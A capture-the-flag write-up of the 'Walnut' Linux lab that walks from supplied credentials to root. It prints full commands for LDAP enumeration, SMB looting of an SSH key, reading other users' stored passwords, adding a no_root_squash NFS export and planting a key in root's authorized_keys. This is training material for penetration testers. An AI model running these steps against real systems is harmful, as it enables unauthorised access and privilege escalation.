> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/walnut.md). # Walnut Challenge Lab (Easy) - by TheKeen {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0

](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario ### Objective You have been assigned a penetration test on a critical Linux server in the client's environment. The primary objective is to gain root-level access to this system to demonstrate maximum impact from the engagement. #### Initial Access The client has provided you with credentials for an "Assumed Breach" scenario. {% code overflow="wrap" expandable="true" %} ``` username: larryburns password: IloveMontgommery! Host: walnut.local ``` {% endcode %} ## Summary

Summary

On Walnut, we start with assumed-breach credentials for `larryburns` that fail against SSH and the readable SMB shares. Further NFS enumeration shows no shares configured at all, but LDAP enumeration succeeds once we bind with the OpenLDAP `uid=larryburns,ou=people,dc=walnut,dc=local` convention rather than the AD-style `cn`. Scrolling the directory dump, we recover an old password stored in the `automation` user's description, which re-grants us access to the previously locked `print$` and `automation` SMB shares. Connecting with `smbclient.py`, we loot the `automation` home directory, retrieving `user.txt` and the account's SSH private RSA key, which we use to SSH in as `automation`. In the home directory we find a script called `scripts/runScript.sh`, which runs an arbitrary command as another user via `su`, feeding that user's password from a file in `.hidden/` named after the MD5 hash of the username; since those files are readable, we compute each hash, read the corresponding password, and pivot through the `localjob1`–`localjob4` accounts. On `localjob3` we find the account can restart the NFS service using `sudo`, and even though `/etc/exports` looks read-only, a `+` in its permission string reveals an ACL that `getfacl` confirms grants `localjob3` write access. We append a `no_root_squash` export for `/root`, restart `nfs-kernel-server`, and mount the share from our host, where retaining root privileges lets us drop our public key into `/root/.ssh/authorized_keys` and finally SSH in as `root`.

## Recon We use `rustscan -b 500 -a 10.1.167.132 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`. A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability. {% code overflow="wrap" expandable="true" %} ``` rustscan -b 500 -a 10.1.167.132 --top -- -sC -sV -Pn ``` {% endcode %}

The target `10.1.167.132` is a Linux host with the NetBIOS name `WALNUT.` Remote access is available via SSH on port `22`. Directory services are exposed through OpenLDAP on port `389` (version 2.2.X–2.3.X). SMB is served by Samba `4.6.2`on ports `139` and `445`, with message signing enabled but not required. The host also runs an NFS stack: `rpcbind`/portmapper on port `111` and NFS itself on port `2049` (with `nfs_acl`), supported by the usual ancillary RPC services `mountd` on ports `41503`, `53911`, and `59667`, `nlockmgr` on port `43311`, and `status`/`statd` on port `48759`.

### SSH We attempt to authenticate ourselves using the provided credentials on the exposed services, starting with SSH without success. {% code overflow="wrap" expandable="true" %} ``` ssh larryburns@walnut.local ``` {% endcode %}

### NFS We try to identify shares on the NFS service, but it appears that nothing has been set up. {% code overflow="wrap" expandable="true" %} ``` nxc nfs walnut.local --enum-shares ``` {% endcode %}

### SMB However, we can authenticate against the SMB service using the provided credentials and find two interesting shares: `print$` and `automation`. However, these shares are neither writable nor readable with the credentials we have. {% code overflow="wrap" expandable="true" %} ``` nxc smb walnut.local -u larryburns -p 'IloveMontgommery!' --shares ``` {% endcode %}

### LDAP As a last resort, we'll try to enumerate the LDAP service. Perhaps we'll find additional users there, and possibly sensitive information in their descriptions or other clues. But the attempt using NetExec fails and throws errors. {% code overflow="wrap" expandable="true" %} ``` nxc ldap walnut.local -u larryburns -p 'IloveMontgommery!' ``` {% endcode %}

We're trying to use `ldapsearch`, but it fails again. We recall, we're working with OpenLDAP. {% code overflow="wrap" expandable="true" %} ``` ldapsearch -x -H ldap://walnut.local -D "cn=larryburns,dc=walnut,dc=local" -w 'IloveMontgommery!' -b "dc=walnut,dc=local" "(objectClass=*)" ``` {% endcode %}

We try it uid based to return every entry in the `dc=walnut,dc=local` tree and are successful. The `uid=larryburns,ou=people,dc=walnut,dc=local` bind worked because OpenLDAP stores users with `uid` as the RDN attribute (under `ou=people`), not `cn`. That's the standard POSIX/OpenLDAP convention, unlike Active Directory which uses `cn`. {% code overflow="wrap" expandable="true" %} ``` ldapsearch -x -H ldap://walnut.local -D "uid=larryburns,ou=people,dc=walnut,dc=local" -w 'IloveMontgommery!' -b "dc=walnut,dc=local" ``` {% endcode %}

## Access as automation We scroll through the output of our ldapsearch request and find an old password in the description of the `automation` user. {% code overflow="wrap" expandable="true" %} ``` ldapsearch -x -H ldap://walnut.local -D "uid=larryburns,ou=people,dc=walnut,dc=local" -w 'IloveMontgommery!' -b "dc=walnut,dc=local" ``` {% endcode %}

## Shell as automation We are not able to log in using SSH with the credentials, but we are able to enumerate the shares again and have now permissions on the shares we found earlier. {% code overflow="wrap" expandable="true" %} ``` nxc smb walnut.local -u automation -p 'REDACTED' --shares ``` {% endcode %}

We connect to the shares using smbclient.py and take a closer look. {% code overflow="wrap" expandable="true" %} ``` smbclient.py 'walnut.local/automation:REDACTED@walnut.local' ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` use print$ ``` {% endcode %}

The `automation` share appears to be located in the automation users home directory. We download everything, including the first flag we find in the directory. We also find the private RSA key, which we can use to log in to the machine via SSH. {% code overflow="wrap" expandable="true" %} ``` use automation ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` mget * ``` {% endcode %}

{% code overflow="wrap" expandable="true" %} ``` cat user.txt ``` {% endcode %}

We adjust the permission of the private key and use it to log in as `automation` via SSH. {% code overflow="wrap" expandable="true" %} ``` chmod 600 id_rsa ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` ssh -i id_rsa automation@walnut.local ``` {% endcode %}

## Shell as localjobX In the home directory we inspect the scripts folder we already exifiltrated before. This contains a runScript.sh script that runs an arbitrary command (`$2`) as another user (`$1`) via `su`. he standard input for that `su` session is redirected from a hidden file in `/home/automation/.hidden/`, and the command's output is written to a timestamped log in `/home/automation/scripts/logs/`. The filename is the MD5 hash of the username. So each user has a matching file in `.hidden/`, named after the hash of their name, and that file holds their password piping it into `su` {% code overflow="wrap" expandable="true" %} ``` cat ~/scripts/runScript.sh ``` {% endcode %}

{% code title="runScript.sh" overflow="wrap" lineNumbers="true" expandable="true" %} ```bash #!/bin/bash PARM1="$1" PARM2=`echo -n "$1" | md5sum | cut -d' ' -f 1` PARM3="$2" DATE=`date +%d.%m.%Y-%Hh%m.%S` su - "$PARM1" -c "$PARM3" < /home/automation/.hidden/"$PARM2" > /home/automation/scripts/logs/"$1"-"$DATE".log ``` {% endcode %} In addition to the `automation` user, there are four other users: `localjob1`, `localjob2`, `localjob3`, and `localjob4`. {% code overflow="wrap" expandable="true" %} ``` cat /etc/passwd ``` {% endcode %}

We look at the contents of the .hidden folder and find four files that could correspond to the users. One of them is empty, but there is a backup file for it. {% code overflow="wrap" expandable="true" %} ``` ls -lah ~/.hidden ``` {% endcode %}

We use the line from the script to identify the file associated with a user, which allows us to determine which password belongs to whom. {% code overflow="wrap" expandable="true" %} ``` echo -n "localjob1" | md5sum | cut -d' ' -f 1 ``` {% endcode %}

As an example, we retrieve the password for localjob1 and switch sessions using `su` with the password from the file and are successful. However, at first we don't notice anything out of the ordinary. {% code overflow="wrap" expandable="true" %} ``` cat ~/.hidden/4f378611beed879f4f62a43ac18452a9 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` su localjob1 ``` {% endcode %}

## Shell as root We're working our way through the users, and with the `localjob3` user, whose original file was empty but whose backup doesn't reveal anything new. We find that this user can restart the NFS service using `sudo`. {% code overflow="wrap" expandable="true" %} ``` echo -n "localjob3" | md5sum | cut -d' ' -f 1 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` cat ~/.hidden/b4d2ab0ea77f3306355ac7b2bcfcd614.bak ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` su localjob3 ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` sudo -l ``` {% endcode %}

We could take advantage of this if we could also edit the `/etc/exports` file. Then we could misconfigure NFS and restart it to apply the misconfiguration. So we try to disable no\_root\_squash this would allow us to access the NFS share as root from a remote client without our privileges being squashed to `nobody`, meaning we could read or write on the target system as root. {% embed url="" %} First we check the permission on /etc/exports. On the first glance it looks like we can only read that file. But the `+` at the end of the permission string (`-rw-rw-r--+`) means the file has an ACL - Access Control List set on it beyond the standard Unix owner/group/other permissions. {% code overflow="wrap" expandable="true" %} ``` ls -lah /etc/exports ``` {% endcode %}

We can check them as follows and see that the localjob3 user has write access to it. {% code overflow="wrap" expandable="true" %} ``` getfacl /etc/exports ``` {% endcode %}

So we misconfigure the service to disable `no_root_squash` by adding the following line to `/etc/exports` mounting the `root` users home directory. > When root squashing is disabled (no\_root\_squash), the root user on the client maintains root privileges on the NFS share, allowing privilege escalation. {% code overflow="wrap" expandable="true" %} ``` /root *(rw,sync,no_root_squash) ``` {% endcode %}

Next, we restart the service... {% code overflow="wrap" expandable="true" %} ``` sudo /usr/bin/systemctl restart nfs-kernel-server.service ``` {% endcode %}

... and enumerate the nfs share again. We are able to enumerate the `root` folder now. {% code overflow="wrap" expandable="true" %} ``` id ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ``` nxc nfs walnut.local --enum-shares ``` {% endcode %}

And we are also able to retrieve the `root.txt` using NetExec. {% embed url="" %} {% code overflow="wrap" expandable="true" %} ``` nxc nfs walnut.local --get-file '/root/root.txt' root.txt ``` {% endcode %}

To get a remote session we could generate a new RSA key pair and replace the /root/.ssh/authorized\_keys with the contents of the generated public key. This would allow us to gain a root shell through SSH using that generated private key. Alternatively we could also upload a SUID bash binary. {% code overflow="wrap" expandable="true" %} ``` ssh-keygen -t rsa ``` {% endcode %}

Unfortunately the upload fails using NetExec with the version used. {% code overflow="wrap" expandable="true" %} ``` nxc nfs walnut.local --put-file root_id_rsa.pub /root/.ssh/authorized_keys ``` {% endcode %}

But the NFS share could be mounted manually and the file be replaced. This works. {% code overflow="wrap" expandable="true" %} ``` mkdir /tmp/nfs_root mount -t nfs walnut.local:/ /tmp/nfs_root cp root_id_rsa.pub /tmp/nfs_root/root/.ssh/authorized_keys chmod 600 /tmp/nfs_root/root/.ssh/authorized_keys umount /tmp/nfs_root ``` {% endcode %} With our public key now in place, we can SSH into the target as `root` using the generated private key. {% code overflow="wrap" expandable="true" %} ``` ssh -i root_id_rsa root@walnut.local ``` {% endcode %}